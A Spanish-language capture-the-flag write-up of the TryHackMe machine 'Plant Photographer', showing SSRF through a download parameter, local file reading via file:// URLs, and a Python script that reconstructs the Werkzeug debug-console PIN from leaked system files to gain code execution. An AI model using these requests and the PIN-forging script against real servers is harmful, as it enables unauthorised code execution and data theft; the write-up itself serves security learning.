XUT_ / MACHINES / THM

0107

Plant Photographer

THMMACHINENONEHARD
APICommand ExecutionEnumerationHTTPJavaLFILinuxPath TraversalPythonPython ScriptingRCEReverse ShellSSRFWebWeb EnumerationWerkzeug

Introduction

Resumen

En esta máquina nos encontramos con la web de un colega. Este dice haberla desarrollado sólo.

Después de una enumeración básica llegamos a unos directorios, donde dentro de uno de ellos podemos explotar un SSRF mal configurado, lo que nos da acceso a la primera flag.

Después de eso, usamos filtros como file:// para conseguir un LFI via SSRF para obtener la segunda flag.

Una vez conseguida, pasamos a explotar el PIN de Werkzeug, el cual es generado dinámicamente mediante un script de la propia librería de Werkzeug. Leyendo este archivo comprendemos cómo se crea el PIN, lo que nos permite hacer reversing y obtenerlo.

Una vez obtenido usamos comandos python para leer archivos del directorio o conseguir una reverse shell.


Introduction

Tu amigo, un botánico apasionado y aspirante a fotógrafo, ha lanzado recientemente un sitio web a modo de portafolio personal para mostrar su creciente colección de fotografías de plantas poco comunes.

Orgulloso de haber construido el sitio él mismo desde cero, te ha pedido que le eches un vistazo rápido y le digas si hay algo que se pueda mejorar. Examina con detenimiento cómo funciona el sitio bajo el capó y determina si ha sido programado siguiendo las mejores prácticas. Si encuentras algo cuestionable, investiga más a fondo e intenta descubrir la flag que se oculta tras bastidores.

Getting the flags

Reconocimiento Inicial

Comenzamos escaneando los puertos abiertos.

Getting the flags

Ahora vamos a analizar dichos puertos más en profundidad.

Getting the flags

Vamos a ver qué posibles directorios hay en la web.

Getting the flags

Vamos a ver cómo se ve la web.

Getting the flags


Profundización

Vamos a investigar los directorios que hemos encontrado. Empezando por /admin.

Getting the flags

Ahora vamos a ver qué hay en /console.

Getting the flags

Hay una restricción, sin embargo parece client-side después lo investigamos. En el código fuente, aparece un secreto filtrado.

Getting the flags

Sin embargo, no es el PIN.

Vamos ahora a ver qué hay en /download.

Getting the flags

Vamos a ver si podemos causar un path traversal. Si nos fijamos en los botones de download de la página, podemos ver que se está realizando una petición:

Getting the flags

Puede que exista SSRF.


Explotación

SSRF

La petición:

bash
curl "http://plantphotographer.thm/download?server=http://192.168.154.153:8888&id=file.php"

Causó el siguiente error:

Getting the flags

Por no ser el ID un tipo int. Vamos a cambiar eso.

bash
curl "http://plantphotographer.thm/download?server=http://192.168.154.153:8888&id=1234"

Getting the flags

Parece que sí tiene SSRF.

LFI via SSRF

Vamos a intentar ahora obtener el archivo de /admin, ya que desde localhost se puede acceder.

text
http://plantphotographer.thm/download?server=localhost:8087/admin%23&id=75482342
TIP

El #, (%23 en URL-Encode), es para comentar el resto de la petición.

Cambiando la dirección y el archivo, obtenemos la flag:

Getting the flags

Ahora tenemos que conseguir el PIN de la consola para obtener RCE.

Werkzeug PIN exploitation

Vamos a buscar en los errores. Cambiando el puerto de la petición por el 80, obtenemos los errores y podemos ver una ruta.

Getting the flags

Intentamos descargar el código:

Getting the flags

A veces el /../ puede fallar, vamos a probar con el filtro file://.

Getting the flags

Pero aquí no está el PIN. Después de preguntar a Google y a la IA, entendemos que el PIN no se guarda en un sitio, sino que se genera de forma única y aleatoria cada vez que arrancamos la máquina. Sin embargo, al tener acceso al secreto, puede que consigamos replicar su creación, por lo que vamos a intentar leer el archivo que crea el PIN:

Getting the flags

Vamos a usar la LFI vía SSRF para leer el archivo. Después de trastear un poco e investigar más vemos que la ruta probablemente sea /usr/local/bin/python3.10/site-packages/werkzeug/debug/__init__.py. Vamos a descargarlo y a guardarlo.

bash
curl "http://plantphotographer.thm/download?server=file:///usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py%23&id=75482342" > PP_init.py

Getting the flags

Ahora vamos a ver cómo se genera el PIN. Después de pasárselo a la IA le hemos pedido que nos genere un script para regenerar el PIN:

python
import hashlib

def calculate_werkzeug_pin(username, modname, appname, filepath, mac_hex, machine_id):
    # Convertir la MAC de hexadecimal a entero decimal (igual que uuid.getnode())
    mac_decimal = str(int(mac_hex.replace(":", ""), 16))
    
    chain_bits = [username, modname, appname, filepath, mac_decimal, machine_id]

    h = hashlib.md5()
    for bit in chain_bits:
        if bit:
            h.update(bit.encode("utf-8"))
            
    # Añadir las sales internas de Werkzeug
    h.update(b"cookiesalt")
    h.update(b"pinsalt")
    
    # Generar los 9 dígitos del PIN
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
    
    # Formatear el PIN con guiones
    pin = "-".join([num[:3], num[3:6], num[6:]])
    return pin

if __name__ == "__main__":
    print("=== Generador de PIN de Werkzeug ===")
    print("Introduce los datos exfiltrados del objetivo:\n")
    
    username = input("1. Username: ").strip()
    modname = input("2. Module name: ").strip()
    appname = input("3. App/Class name: ").strip()
    filepath = input("4. Filepath de flask.app: ").strip()
    mac_hex = input("5. MAC address en hex: ").strip()
    machine_id = input("6. Container ID de cgroup: ").strip()

    pin = calculate_werkzeug_pin(username, modname, appname, filepath, mac_hex, machine_id)
    
    print("\n" + "="*40)
    print(f"[+] ¡PIN Calculado con éxito!: {pin}")
    print("="*40)

Para saber qué datos introducir, podemos leer los siguientes archivos:

  • /etc/passwd: Para el username.
  • /proc/self/cgroup: Para el container ID.
  • /sys/class/net/eth0/address: Para la MAC Address.
  • /usr/local/lib/python3.10/site-packages/flask/app.py: Para comprobar la ruta del módulo de Flask.

Después de ejecutarlo con los datos correctos:

Getting the flags

Introducimos el PIN y obtenemos acceso a la shell de Werkzeug.

Getting the flags

Ahora vamos a listar los contenidos de la máquina, ya que tenemos acceso como root a un entorno python.

Getting the flags

Vamos a leer la flag.

Getting the flags

TIP

También podemos obtener una reverse shell, pero esta es la forma más sencilla de ver la flag.


Conclusión

Una máquina divertida en la que hemos trabajado varias cosas, entre las que se encuentran:

  • Enumeración
  • SSRF
  • LFI via SSRF
  • Explotación de PIN de Werkzeug mediante LFI

Una máquina con cierta complicación, pero no la más difícil que hemos hecho.

SUCCESS

¡Hemos conseguido todas las flags!